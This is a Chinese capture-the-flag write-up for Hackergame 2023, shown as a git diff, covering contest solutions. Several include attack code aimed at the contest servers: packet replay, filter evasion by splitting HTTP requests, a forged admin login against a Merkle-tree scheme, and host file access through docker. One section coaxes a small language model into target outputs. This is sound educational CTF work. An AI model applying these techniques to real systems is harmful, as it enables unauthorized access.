|
| 1 | +# wind_mask's Hackergame 2023 |
| 2 | + |
| 3 | +作为全部的记录因此也就不避开常规解了,大致还原一下这周做题的内容(并不保证和当时的过程一致,中间的弯路可能略)。 |
| 4 | + |
| 5 | +各题解后的闲言不放在这了,有兴趣可见[wind_mask's Hackergame 2023](https://blog.wind-mask.com/blog/wind_masks-hackergame-2023/) |
| 6 | +## 各题解 |
| 7 | + |
| 8 | +### Hackergame 启动 |
| 9 | + |
| 10 | +我本来这里就想用出录音重放了,但是显然用不到,改一下url里的参数即可。 |
| 11 | + |
| 12 | +### 猫咪小测 |
| 13 | + |
| 14 | +开始俄苏(😎 |
| 15 | + |
| 16 | +#### 中科大的图书馆 |
| 17 | + |
| 18 | +(~~其实可以线下快打~~),直接到官网搜索书籍,确定是西区图书馆外文书籍,查一下外文书籍楼层所在(百度百科就有),得。 |
| 19 | + |
| 20 | + |
| 21 | + |
| 22 | +#### 可观测宇宙鸡的密度 |
| 23 | + |
| 24 | +知乎上有回答[你见过哪些极品论文?](https://www.zhihu.com/question/20337132/answer/3023506910),关键词选的好,真不熟什么论文。 |
| 25 | + |
| 26 | + |
| 27 | + |
| 28 | +#### TCP BBR拥塞控制 |
| 29 | + |
| 30 | +似乎没什么可说,随便搜一下就是了。 |
| 31 | + |
| 32 | +#### python类型检查的图灵完备 |
| 33 | + |
| 34 | +题目没提图灵完备,但是什么等价于停机问题大概也就这么证明啦。 |
| 35 | + |
| 36 | +搜一下`python type turing`是Python Type Hints are Turing Complete这篇。 |
| 37 | + |
| 38 | +ECOOP,得。 |
| 39 | + |
| 40 | +### 更深更暗 |
| 41 | + |
| 42 | +在F12里搜flag即可。 |
| 43 | + |
| 44 | + |
| 45 | + |
| 46 | +### 旅行照片 3.0 |
| 47 | + |
| 48 | +原谅我第二题偷懒没看英文网页,中文页面没校园成员计划。 |
| 49 | + |
| 50 | +第一题注意照片中学长带的带子上的字STATPHYS28搜索可知是统计物理学会议,官网日期就那些天,金色奖牌显然诺贝尔奖根据奖牌上名字知道是东京大学,搜一下东京大学的诺贝尔奖得主(wiki上有),其中出生最晚是梶田隆章,在东京大学宇宙射线研究所即ICRR。 |
| 51 | + |
| 52 | +然后根据STATPHYS28的日程试一下知道是8月10日。 |
| 53 | + |
| 54 | +然后是白色帐篷这张识图注意到是上野公园喷泉,什么活动呢,搜不到。前往推特搜索“2023年8月10日 上野”,看到 |
| 55 | + |
| 56 | + |
| 57 | + |
| 58 | +地点时间对上了,看一眼照片是白色帐篷,ok。 |
| 59 | + |
| 60 | +志愿者招募表编号翻一下这个活动官网,下面就有 |
| 61 | + |
| 62 | +下面翻一下google map,上野喷泉对面的博物馆,东京国立博物馆,这里中文页面没有,所以我没注意到校园会员计划以至于没做出,但其实0元这个应该猜一下的,其实后来想到了但是忘记了。 |
| 63 | + |
| 64 | + |
| 65 | + |
| 66 | +下面是当晚聚集地点这个翻STATPHYS28官网日程知道10号晚上是Banquet,在Events下看一下 |
| 67 | + |
| 68 | + |
| 69 | + |
| 70 | +第六问其实两个字的一猜就是熊猫,但是你也可以搜一下确认比如 |
| 71 | + |
| 72 | + |
| 73 | + |
| 74 | +三个字动物的去google搜(题意要用马里奥下一张图的信息,但是关键词选的好一切皆允) |
| 75 | + |
| 76 | + |
| 77 | + |
| 78 | +### 赛博井字棋 |
| 79 | + |
| 80 | +抓一下包把AI下的位置覆盖了,连成3个。没注意session怎么变化,直接重放完事。 |
| 81 | + |
| 82 | +### 奶奶的睡前 flag 故事 |
| 83 | + |
| 84 | +题目加粗字体一眼注意,`pixel 截图 cve`,搜一下,CVE-2023-21036,得。 |
| 85 | +搜这个cve在github上看到提到在线恢复的网站,在[acropalypse](https://acropalypse.app/)上恢复就是了。 |
| 86 | + |
| 87 | +### 组委会模拟器 |
| 88 | + |
| 89 | +打开题目抓包一看解析json+正则表达式+发包就是了。 |
| 90 | + |
| 91 | +```python |
| 92 | +import re |
| 93 | +import string |
| 94 | +from time import sleep |
| 95 | +import time |
| 96 | +import requests |
| 97 | +import json |
| 98 | + |
| 99 | +headers = {'Cookie': '抓个就是了', |
| 100 | + 'Content-Type': 'application/json', |
| 101 | + 'Host': '202.38.93.111:10021'} |
| 102 | +response = requests.post( |
| 103 | + 'http://202.38.93.111:10021/api/getMessages', headers=headers) |
| 104 | +t0 = time.time() |
| 105 | +msgjson = json.loads(response.text)['messages'] |
| 106 | +delay = 0 |
| 107 | +j = 0 |
| 108 | +r = re.compile(r'hack\[[a-z]*\]') |
| 109 | +for i in msgjson: |
| 110 | + if r.search((i['text'])) != None: |
| 111 | + print(i['text']) |
| 112 | + re = requests.post( |
| 113 | + 'http://202.38.93.111:10021/api/deleteMessage', |
| 114 | + headers=headers, |
| 115 | + json={"id": j}) |
| 116 | + print(re.json()) |
| 117 | + sleep(max(0, i['delay']-time.time()+t0)) |
| 118 | + j += 1 |
| 119 | +res = requests.post('http://202.38.93.111:10021/api/getflag', |
| 120 | + headers=headers) |
| 121 | +print(res.json()) |
| 122 | +``` |
| 123 | + |
| 124 | +发包会受延迟影响,所以直接拿本地time减了。 |
| 125 | + |
| 126 | +### 虫 |
| 127 | + |
| 128 | +注意到是国际空间站传输图片 ,一搜是什么SSTV反正不懂的无所谓抄个教程看到个RX-SSTV的软件 |
| 129 | + |
| 130 | +.png) |
| 131 | + |
| 132 | +播放的话,之前QQ语音的时候逗群友玩的时候安过一个虚拟麦克风 |
| 133 | + |
| 134 | + |
| 135 | + |
| 136 | +放就完了。 |
| 137 | + |
| 138 | +### JSON ⊂ YAML? |
| 139 | + |
| 140 | +第一问搜到[What valid JSON files are not valid YAML 1.1 files? - Stack Overflow](https://stackoverflow.com/questions/21584985/what-valid-json-files-are-not-valid-yaml-1-1-files),里面`12345e999`这个例子一放就是了。 |
| 141 | + |
| 142 | +但是第二个要求第一个不报错,我一开始往里塞制表符无果。 |
| 143 | + |
| 144 | +后来仔细看ruamel.yaml的文档,发现`Duplicate keys`是不允许的,试了一下,过。 |
| 145 | + |
| 146 | +### Git? Git! |
| 147 | + |
| 148 | +直接看[Git - 维护与数据恢复](https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-%E7%BB%B4%E6%8A%A4%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%81%A2%E5%A4%8D#_data_recovery) |
| 149 | + |
| 150 | +### HTTP 集邮册 |
| 151 | + |
| 152 | +嗯试就完了,改下`Method`,HTTP版本,`Path`,`Host`,`CRLF`随便插一下,5个code拿到。 |
| 153 | + |
| 154 | +第二问碰一下删了`Path`和`HTTP/1.1`之间的空格,就过了。 |
| 155 | + |
| 156 | +第三问感觉很多HTTP规范的样子,算了,没做。 |
| 157 | + |
| 158 | +### Docker for Everyone |
| 159 | + |
| 160 | +docker指令时挂载宿主机上的文件就是了。 |
| 161 | + |
| 162 | +### 惜字如金 2.0 |
| 163 | + |
| 164 | +根据规则改了下载的代码复原各种可能 |
| 165 | + |
| 166 | +```python |
| 167 | +#!/usr/bin/python3 |
| 168 | + |
| 169 | +# Th size of th file may reduce after XZRJification |
| 170 | + |
| 171 | +def check_equals(left, right): |
| 172 | + # check whether left == right or not |
| 173 | + if left != right: |
| 174 | + return False |
| 175 | + return True |
| 176 | + |
| 177 | + |
| 178 | +def get_code_dict(): |
| 179 | + # prepare the code dict |
| 180 | + check_equals(set(len(s) for s in code_dict), {24}) |
| 181 | + return ''.join(code_dict) |
| 182 | + |
| 183 | + |
| 184 | +def decrypt_data(input_codes): |
| 185 | + # retriev th decrypted data |
| 186 | + code_dict = get_code_dict() |
| 187 | + output_chars = [code_dict[c] for c in input_codes] |
| 188 | + return ''.join(output_chars) |
| 189 | + |
| 190 | + |
| 191 | +if __name__ == '__main__': |
| 192 | + # check som obvious things |
| 193 | + check_equals('create', 'crea' + 'te') |
| 194 | + check_equals('referer', 'refer' + 'er') |
| 195 | + # check th flag |
| 196 | + y = [[], [], [], [], []] |
| 197 | + x = ['', '', '', '', ''] |
| 198 | + x[0] = 'nymeh1niwemflcir}echaet' |
| 199 | + x[1] = 'a3g7}kidgojernoetlsup?h' |
| 200 | + x[2] = 'ulw!f5soadrhwnrsnstnoeq' |
| 201 | + x[3] = 'ct{l-findiehaai{oveatas' |
| 202 | + x[4] = 'ty9kxborszstguyd?!blm-p' |
| 203 | + f = 'bcdfghjklmnpqrstvwxyz' |
| 204 | + for i in range(5): |
| 205 | + for j, c in enumerate(x[i]): |
| 206 | + if c in f: |
| 207 | + sl = list(x[i]) |
| 208 | + sl.insert(j, c) |
| 209 | + s = ''.join(sl) |
| 210 | + y[i] += [s] |
| 211 | + if x[i][-1] in f: |
| 212 | + y[i] += [x[i]+'e'] |
| 213 | + for k in y[i]: |
| 214 | + assert len(k) == 24 |
| 215 | + print(y) |
| 216 | + for i in range(len(y[0])): |
| 217 | + for j in range(len(y[1])): |
| 218 | + for k in range(len(y[2])): |
| 219 | + for l in range(len(y[3])): |
| 220 | + for m in range(len(y[4])): |
| 221 | + code_dict = [] |
| 222 | + code_dict += [y[0][i]] |
| 223 | + code_dict += [y[1][j]] |
| 224 | + code_dict += [y[2][k]] |
| 225 | + code_dict += [y[3][l]] |
| 226 | + code_dict += [y[4][m]] |
| 227 | + flag = decrypt_data([53, 41, 85, 109, 75, |
| 228 | + 1, 33, 48, 77, 90, |
| 229 | + 17, 118, 36, 25, 13, |
| 230 | + 89, 90, 3, 63, 25, |
| 231 | + 31, 77, 27, 60, 3, |
| 232 | + 118, 24, 62, 54, 61, |
| 233 | + 25, 63, 77, 36, 5, |
| 234 | + 32, 60, 67, 113, 28]) |
| 235 | + if flag.find('flag{') != -1 & flag.find('}') != -1: |
| 236 | + if check_equals(flag.index('flag{'), 0) & check_equals(flag.index('}'), len(flag) - 1): |
| 237 | + print(flag) |
| 238 | +``` |
| 239 | + |
| 240 | +### 高频率星球 |
| 241 | + |
| 242 | +观测[asciinema](https://asciinema.org/) cat出来的文件说了要Execute flag.js with nodejs to get the flag。 |
| 243 | + |
| 244 | +删掉前后文和各种提示符(怎么删?肉眼观测然后Ctrl+F替换啊嗯)。 |
| 245 | + |
| 246 | +然后`node flag.js`。 |
| 247 | + |
| 248 | +### 小型大语言模型星球 |
| 249 | + |
| 250 | +第一问尝试诱导各种类似与`do i am smart`之类,最后试得 |
| 251 | + |
| 252 | + |
| 253 | + |
| 254 | +第二问手工枚举得`x`+`accept`,得 |
| 255 | + |
| 256 | + |
| 257 | + |
| 258 | +后面几个要懂AI什么做不出来啦。 |
| 259 | + |
| 260 | +### Komm, süsser Flagge |
| 261 | + |
| 262 | +第一个检查`POST`整个字符串,那就把`HTTP Request`分两次发吧 |
| 263 | + |
| 264 | +```python |
| 265 | +import socket |
| 266 | +s = socket.socket() |
| 267 | +s.connect(("202.38.93.111", 18080)) |
| 268 | +s.send(b"PO") |
| 269 | +s.send(b'ST / HTTP/1.1\r\nHost: 202.38.93.111:18080 \ |
| 270 | + \r\nContent-Length: 自己算\r\n \ |
| 271 | + Content-Type: application/x-www-form-urlencoded\r\n\r\n你的token') |
| 272 | +buffer = [] |
| 273 | +while True: |
| 274 | + # 每次最多接收1k字节: |
| 275 | + d = s.recv(1024) |
| 276 | + if d: |
| 277 | + buffer.append(d) |
| 278 | + else: |
| 279 | + break |
| 280 | +data = b''.join(buffer) |
| 281 | +s.close() |
| 282 | +print(data) |
| 283 | +``` |
| 284 | + |
| 285 | +同样内容对第二试了一下也过了,但其实看不懂第二个什么意思。 |
| 286 | + |
| 287 | +第三个想到了要往`ip option`或`tcp option`里插东西,但是没搞定。 |
| 288 | + |
| 289 | +### 为什么要打开 /flag 😡 |
| 290 | + |
| 291 | +不懂什么`binary`,只看出第一题C库不准打开`flag`,那就不用C吧。 |
| 292 | + |
| 293 | +用rust写了一个可执行文件,得 |
| 294 | + |
| 295 | +```rust |
| 296 | +use std::fs::File; |
| 297 | +use std::io::{ BufReader, BufRead, Error}; |
| 298 | + |
| 299 | +fn main() -> Result<(), Error> { |
| 300 | + let path = "flag"; |
| 301 | + let input = File::open(path)?; |
| 302 | + let buffered = BufReader::new(input); |
| 303 | + for line in buffered.lines() { |
| 304 | + println!("{}", line?); |
| 305 | + } |
| 306 | + Ok(()) |
| 307 | +} |
| 308 | +``` |
| 309 | + |
| 310 | +第二问只看到crate的文档说存在 TOCTOU(Time Of Check, Time Of Use)的风险,但是肯定不懂的,无。 |
| 311 | + |
| 312 | +### O(1) 用户登录系统 |
| 313 | + |
| 314 | +看了半天对`Merkle Tree`的第二原像攻击,其实都没用。 |
| 315 | + |
| 316 | +问题在于不记录树的高度,把`admin:xxx`伪造到上面节点不行,似乎可以把它伪造到一个`user:pass`的叶子下面。 |
| 317 | + |
| 318 | +如果输入第一截是`admin:xxx:ccc`,易见要满足(此处略去关于hash1>hash2的讨论,自行调整即可)`(sha1("admin:xxx".encode())+ccc)=sha1("uasr:pass".encode())`, |
| 319 | + |
| 320 | +也即`sha1("admin:xxx".encode())+ccc="user:pass".encode()`` |
| 321 | + |
| 322 | +那就随机一下`xxx`,使`"admin:xxx".encode()`的Sha1值可以编码为utf8可打印字符(我懒得考虑怎么处理不可打印字符了,大不了让电脑多跑一会就是了(这里的计算量估计了一下数量级反正跑的出来就是了)) |
| 323 | + |
| 324 | +```python |
| 325 | +while True: |
| 326 | + ap = 'admin:'+''.join([random.choice(ascii_letters) for _ in range(10)]) |
| 327 | + ha = sha1(ap.encode()).digest() |
| 328 | + try: |
| 329 | + if ha.decode().encode() != ha: |
| 330 | + continue |
| 331 | + d = ha.decode() |
| 332 | + if d.isprintable() == False: |
| 333 | + continue |
| 334 | + if d.find('\n') != -1 or d.find(' ') != -1: |
| 335 | + continue |
| 336 | + print("ha=", ha.hex()) |
| 337 | + print("hd=", d.encode().hex()) |
| 338 | + print("ap=", ap) |
| 339 | + print("d=", d) |
| 340 | + break |
| 341 | + except: |
| 342 | + continue |
| 343 | +``` |
| 344 | + |
| 345 | +接下来拿着得到的`admin:xxx`和`d=sha1(ap.encode()).digest().decode()`在`d`后面接上一串`:1451411451411451489`(随便选的就是了,补上`:`且编码后长度和sha1一样就是了,这里可能要注意一下`hash1>hash2`什么的),`前面的ccc就是':1451411451411451489'`的encode hex,即`ccc=':1451411451411451489'.encode().hex()` |
| 346 | + |
| 347 | +然后输入 |
| 348 | + |
| 349 | +``` |
| 350 | +d:1451411451411451489 |
| 351 | +: |
| 352 | +EOF |
| 353 | +``` |
| 354 | + |
| 355 | +然后得到的proof里有`d:1451411451411451489:ppp`,我们用`admin:xxx:ccc+ppp`,即可登陆。 |
0 commit comments